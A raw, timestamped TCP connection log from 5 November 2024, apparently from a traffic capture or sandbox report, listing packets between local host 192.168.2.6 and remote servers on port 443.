Nov 5, 2024 20:51:26.652616978 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.655699968 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.655738115 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.655949116 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.656234026 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.656245947 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.663450956 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.663674116 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.663716078 CET	49829	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.663815975 CET	49829	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.663832903 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.663844109 CET	49829	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.663850069 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.667081118 CET	49835	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.667110920 CET	443	49835	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.667179108 CET	49835	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.667337894 CET	49835	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.667347908 CET	443	49835	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.781033039 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.781963110 CET	49831	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.781963110 CET	49831	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.781980991 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.781996012 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.926449060 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.926527023 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.926649094 CET	49831	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.926757097 CET	49831	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.926757097 CET	49831	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.926772118 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.926781893 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.929569006 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.929625988 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.929699898 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.929961920 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.929979086 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.995336056 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.996160984 CET	49832	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.996161938 CET	49832	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.996174097 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.996186018 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.139734030 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.139801025 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.139957905 CET	49832	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.140089035 CET	49832	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.140089035 CET	49832	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.140103102 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.140113115 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.152898073 CET	49837	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.152947903 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.153188944 CET	49837	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.153188944 CET	49837	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.153223038 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.411917925 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.412419081 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.412439108 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.414628029 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.414633989 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.450556993 CET	443	49835	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.469907045 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.475903034 CET	49835	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.475919962 CET	443	49835	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.476859093 CET	49835	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.476865053 CET	443	49835	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.477328062 CET	49833	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.477334023 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.477767944 CET	49833	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.477771044 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.563461065 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.563508987 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.563560009 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.563606024 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.563878059 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.563895941 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.563914061 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.563914061 CET	49834	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.563922882 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.563930988 CET	443	49834	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.566828012 CET	49838	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.566886902 CET	443	49838	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.567094088 CET	49838	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.567095041 CET	49838	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.567137003 CET	443	49838	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.621360064 CET	443	49835	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.621443033 CET	443	49835	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.623652935 CET	49835	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.623653889 CET	49835	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.626629114 CET	49835	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.626641989 CET	443	49835	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.662631989 CET	49839	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.662672997 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.666765928 CET	49839	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.670248032 CET	49839	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.670262098 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.766491890 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.766561985 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.766634941 CET	49833	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.768589020 CET	49833	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.768605947 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.768615961 CET	49833	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.768620968 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.773046970 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.773065090 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.773138046 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.773293018 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.773303032 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.930841923 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.933151960 CET	49837	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.933165073 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:27.933911085 CET	49837	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:27.933917999 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.027075052 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:28.027100086 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:28.027151108 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:28.027710915 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:28.027724028 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:28.069005013 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.069147110 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.069195986 CET	49837	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.074301958 CET	49837	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.074327946 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.074342012 CET	49837	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.074348927 CET	443	49837	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.080928087 CET	49842	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.080970049 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.081219912 CET	49842	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.081619978 CET	49842	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.081629992 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.321067095 CET	443	49838	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.325161934 CET	49838	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.325161934 CET	49838	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.325187922 CET	443	49838	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.325206041 CET	443	49838	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.367136002 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.367557049 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.367573977 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.368019104 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.368025064 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.436635971 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.437112093 CET	49839	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.437134027 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.437536001 CET	49839	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.437541008 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.457158089 CET	443	49838	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.457292080 CET	443	49838	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.457463980 CET	49838	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.458102942 CET	49838	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.458120108 CET	443	49838	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.466051102 CET	49843	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.466094971 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.466326952 CET	49843	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.466567993 CET	49843	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.466577053 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.504317045 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.504419088 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.504463911 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.504472017 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.504517078 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.504643917 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.504654884 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.504666090 CET	49836	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.504671097 CET	443	49836	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.508203983 CET	49844	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.508243084 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.508344889 CET	49844	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.508562088 CET	49844	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.508574009 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.564646006 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.565126896 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.565155029 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.565772057 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.565777063 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.572706938 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.572801113 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.573048115 CET	49839	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.573213100 CET	49839	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.573229074 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.573239088 CET	49839	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.573244095 CET	443	49839	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.576245070 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.576267004 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.576340914 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.576658964 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.576668024 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.703958988 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.704061031 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.704129934 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.704144001 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.704178095 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.704227924 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.704432011 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.704444885 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.704449892 CET	49840	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.704453945 CET	443	49840	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.708074093 CET	49846	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.708123922 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.708266020 CET	49846	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.708583117 CET	49846	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.708600044 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.831547976 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.852772951 CET	49842	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.852785110 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.853409052 CET	49842	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.853413105 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.984954119 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.985022068 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.985661030 CET	49842	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.986203909 CET	49842	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.986224890 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.986238956 CET	49842	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.986244917 CET	443	49842	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.989197969 CET	49847	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.989234924 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:28.989336967 CET	49847	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.989600897 CET	49847	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:28.989612103 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.132728100 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:29.132810116 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:29.134756088 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:29.134766102 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:29.135009050 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:29.136866093 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:29.137058020 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:29.137063026 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:29.137301922 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:29.183347940 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:29.216793060 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.217272043 CET	49843	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.217289925 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.217761993 CET	49843	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.217767954 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.272730112 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.273179054 CET	49844	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.273205042 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.273660898 CET	49844	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.273683071 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.349680901 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.350052118 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.350080967 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.350491047 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.350497007 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.354336023 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.354408979 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.354590893 CET	49843	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.354620934 CET	49843	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.354635954 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.354665041 CET	49843	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.354670048 CET	443	49843	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.356868029 CET	49848	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.356903076 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.357172966 CET	49848	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.357378006 CET	49848	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.357393026 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.385354996 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:29.385760069 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:29.385773897 CET	443	49841	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:29.385792017 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:29.385826111 CET	49841	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:29.412427902 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.412641048 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.412909031 CET	49844	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.412938118 CET	49844	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.412954092 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.412965059 CET	49844	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.412970066 CET	443	49844	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.415127039 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.415155888 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.415826082 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.415925026 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.415935993 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.468220949 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.468791962 CET	49846	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.468822956 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.469218969 CET	49846	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.469224930 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.491763115 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.491805077 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.491854906 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.491875887 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.491909981 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.492079973 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.492096901 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.492106915 CET	49845	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.492113113 CET	443	49845	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.494218111 CET	49850	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.494259119 CET	443	49850	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.494729042 CET	49850	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.494796038 CET	49850	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.494807005 CET	443	49850	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.607192993 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.607276917 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.607870102 CET	49846	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.607917070 CET	49846	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.607933998 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.607944012 CET	49846	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.607950926 CET	443	49846	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.610292912 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.610338926 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.610433102 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.610596895 CET	49851	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.610609055 CET	443	49851	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.756550074 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.757046938 CET	49847	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.757061005 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.757517099 CET	49847	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.757520914 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.895962000 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.896090984 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.896143913 CET	49847	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.926322937 CET	49847	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.926337957 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.926350117 CET	49847	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.926354885 CET	443	49847	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.954509974 CET	49852	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.954551935 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:29.954613924 CET	49852	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.958170891 CET	49852	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:29.958184958 CET	443	49852	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.104845047 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.107714891 CET	49848	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.107732058 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.108503103 CET	49848	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.108510971 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.191157103 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.206665039 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.206685066 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.209723949 CET	49849	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.209728956 CET	443	49849	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.239291906 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.239382982 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.239553928 CET	49848	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.258574963 CET	49848	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.258574963 CET	49848	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.258609056 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.258620024 CET	443	49848	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.264898062 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.264930964 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.265019894 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.271327972 CET	49853	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:30.271342993 CET	443	49853	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:30.285969019 CET	443	49850	13.107.253.45	192.168.2.6
